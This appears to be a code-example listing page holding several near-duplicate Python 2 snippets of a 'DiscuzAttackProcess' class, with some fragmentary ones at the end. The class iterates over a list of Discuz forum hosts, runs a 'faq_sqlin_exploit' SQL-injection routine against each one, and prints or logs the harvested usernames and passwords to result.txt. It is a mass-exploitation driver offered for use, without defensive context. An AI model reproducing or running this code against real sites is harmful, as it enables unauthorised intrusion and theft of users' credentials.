Пример #1
0
class DiscuzAttackProcess():
	def __init__(self):
		self.discuz_attaker = DiscuzAttacker()
	def exploit(self,discuz_list):
		for x in discuz_list:
			url = "http://%s" % x
			print '-'*60
			print 'Target host is %s' % x
			res = self.discuz_attaker.faq_sqlin_exploit(x)
			if not res:
				print u'Exploit Failed!'
			else:
				print 'Exploit success!'
				print 'Username:%s\nPassword:%s' % (res[0],res[1])
		return ''
Пример #2
0
class DiscuzAttackProcess():
    def __init__(self):
        self.discuz_attaker = DiscuzAttacker()

    def exploit(self, discuz_list):
        for x in discuz_list:
            url = "http://%s" % x
            print '-' * 60
            print 'Target host is %s' % x
            res = self.discuz_attaker.faq_sqlin_exploit(x)
            if not res:
                print u'Exploit Failed!'
            else:
                print 'Exploit success!'
                print 'Username:%s\nPassword:%s' % (res[0], res[1])
        return ''
Пример #3
0
class DiscuzAttackProcess():
	def __init__(self):
		self.discuz_attaker = DiscuzAttacker()
	def exploit(self,discuz_list):
		write_str = '\n--------------------------------------------------\n'
		write_file = open('result.txt','ab')
		for x in discuz_list:
			url = "http://%s" % x
			print '-'*60
			print 'Target host is %s' % x
			write_str += 'Target host is %s\n' % x
			res = self.discuz_attaker.faq_sqlin_exploit(x)
			if not res:
				print 'Exploit Failed!'
				write_str += 'Exploit Failed!\n'
			else:
				print 'Exploit success!'
				write_str += 'Exploit success!\n'
				print 'Username:%s\nPassword:%s' % (res[0],res[1])
				write_str += 'Username:%s\nPassword:%s\n' % (res[0],res[1])
			write_file.write(write_str)
		write_file.close()
		return ''
class DiscuzAttackProcess():
    def __init__(self):
        self.discuz_attaker = DiscuzAttacker()

    def exploit(self, discuz_list):
        write_str = '\n--------------------------------------------------\n'
        write_file = open('result.txt', 'ab')
        for x in discuz_list:
            url = "http://%s" % x
            print '-' * 60
            print 'Target host is %s' % x
            write_str += 'Target host is %s\n' % x
            res = self.discuz_attaker.faq_sqlin_exploit(x)
            if not res:
                print 'Exploit Failed!'
                write_str += 'Exploit Failed!\n'
            else:
                print 'Exploit success!'
                write_str += 'Exploit success!\n'
                print 'Username:%s\nPassword:%s' % (res[0], res[1])
                write_str += 'Username:%s\nPassword:%s\n' % (res[0], res[1])
            write_file.write(write_str)
        write_file.close()
        return ''
Пример #5
0
	def __init__(self):
		self.discuz_attaker = DiscuzAttacker()
 def __init__(self):
     self.discuz_attaker = DiscuzAttacker()